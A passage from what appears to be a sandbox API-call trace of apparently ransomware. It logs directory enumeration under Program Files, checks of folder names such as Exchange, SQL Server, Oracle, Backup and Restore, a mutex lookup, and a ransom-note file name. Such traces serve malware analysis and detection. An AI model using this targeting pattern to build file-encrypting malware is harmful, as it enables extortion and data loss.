lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.447] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0056.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", cchWideChar=85, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", lpUsedDefaultChar=0x0) returned 85 [0056.447] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", lpUsedDefaultChar=0x0) returned 4 [0056.447] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0056.447] GetLastError () returned 0x12 [0056.447] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0056.447] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.447] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.447] GlobalUnlock (hMem=0x440004) returned 0 [0056.447] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.447] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.447] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.447] GlobalUnlock (hMem=0x440004) returned 0 [0056.447] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.448] GlobalUnlock (hMem=0x44000c) returned 0 [0056.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61dd8, cbMultiByte=3, lpWideCharStr=0x18d758, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0056.448] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0056.448] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0056.448] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.448] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.448] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.448] GlobalUnlock (hMem=0x44000c) returned 0 [0056.448] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.448] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.448] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.448] GlobalUnlock (hMem=0x44000c) returned 0 [0056.448] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.448] GlobalUnlock (hMem=0x440004) returned 0 [0056.448] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.448] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.448] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0056.448] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.448] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.448] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.448] GlobalUnlock (hMem=0x440004) returned 0 [0056.448] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.449] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.449] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.449] GlobalUnlock (hMem=0x440004) returned 0 [0056.449] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.449] GlobalUnlock (hMem=0x44000c) returned 0 [0056.449] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.449] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0056.449] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0056.449] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.449] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.449] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.449] GlobalUnlock (hMem=0x44000c) returned 0 [0056.449] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.449] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.449] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.449] GlobalUnlock (hMem=0x44000c) returned 0 [0056.449] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.449] GlobalUnlock (hMem=0x440004) returned 0 [0056.449] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.449] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.449] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.449] GlobalUnlock (hMem=0x440004) returned 0 [0056.449] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.449] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.449] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.449] GlobalUnlock (hMem=0x440004) returned 0 [0056.449] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.449] GlobalUnlock (hMem=0x44000c) returned 0 [0056.450] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.450] SysReAllocStringLen (in: pbstr=0x18e744*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033", len=0x50 | out: pbstr=0x18e744*="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033") returned 1 [0056.450] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.450] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.450] GlobalUnlock (hMem=0x44000c) returned 0 [0056.450] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.450] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.450] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.450] GlobalUnlock (hMem=0x44000c) returned 0 [0056.450] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.450] GlobalUnlock (hMem=0x440004) returned 0 [0056.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18d40c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\큯畯") returned 26 [0056.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\Microsoft\\Exchange Server", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@袊T衞T企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0056.450] GetLastError () returned 0x3 [0056.450] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d40c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\큯畯") returned 21 [0056.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\Microsoft SQL Server", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@螼T企@\x18㿬Q\x181")) returned 0xffffffff [0056.451] GetLastError () returned 0x2 [0056.451] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.451] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.451] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d40c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\큯畯") returned 9 [0056.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\Firebird", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@劔U企@\x18?T\x18;")) returned 0xffffffff [0056.452] GetLastError () returned 0x2 [0056.452] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=9, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d40c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\큯畯") returned 8 [0056.452] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\MSSQL.1", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@螼T企@\x18?T\x18D")) returned 0xffffffff [0056.452] GetLastError () returned 0x2 [0056.452] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=8, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d40c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\\x18\x1c") returned 37 [0056.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@劔U企@\x18奌U\x18j")) returned 0xffffffff [0056.453] GetLastError () returned 0x2 [0056.453] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x18\x1c") returned 37 [0056.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d40c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\\x18\x1c") returned 6 [0056.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\Adobe", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@呤U企@\x18?T\x18q")) returned 0xffffffff [0056.453] GetLastError () returned 0x2 [0056.453] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.454] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=6, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="adobe\\奈U°") returned 6 [0056.454] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d40c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\\x18\x1c") returned 7 [0056.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\Oracle", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@卼U企@\x18?T\x18y")) returned 0xffffffff [0056.454] GetLastError () returned 0x2 [0056.454] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.454] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=7, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.454] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d40c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\\x18\x1c") returned 7 [0056.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\Archive", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@螼T企@\x18?T\x18\x81")) returned 0xffffffff [0056.455] GetLastError () returned 0x2 [0056.455] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.455] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=7, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.455] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d40c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\\x18\x1c") returned 6 [0056.455] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\Backup", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@呤U企@\x18?T\x18\x88")) returned 0xffffffff [0056.455] GetLastError () returned 0x2 [0056.455] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.455] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=6, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.455] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d40c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\\x18\x1c") returned 6 [0056.455] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\Reserv", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@卼U企@\x18?T\x18\x8f")) returned 0xffffffff [0056.456] GetLastError () returned 0x2 [0056.456] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.456] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=6, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.456] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d40c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\\x18\x1c") returned 7 [0056.456] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\Restore", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@螼T企@\x18?T\x18\x97")) returned 0xffffffff [0056.456] GetLastError () returned 0x2 [0056.456] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.456] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=7, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0056.456] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.456] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.457] GlobalUnlock (hMem=0x440004) returned 0 [0056.457] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.457] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.457] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.457] GlobalUnlock (hMem=0x440004) returned 0 [0056.457] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.457] GlobalUnlock (hMem=0x44000c) returned 0 [0056.457] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.457] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18dfbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.457] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d3bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.457] 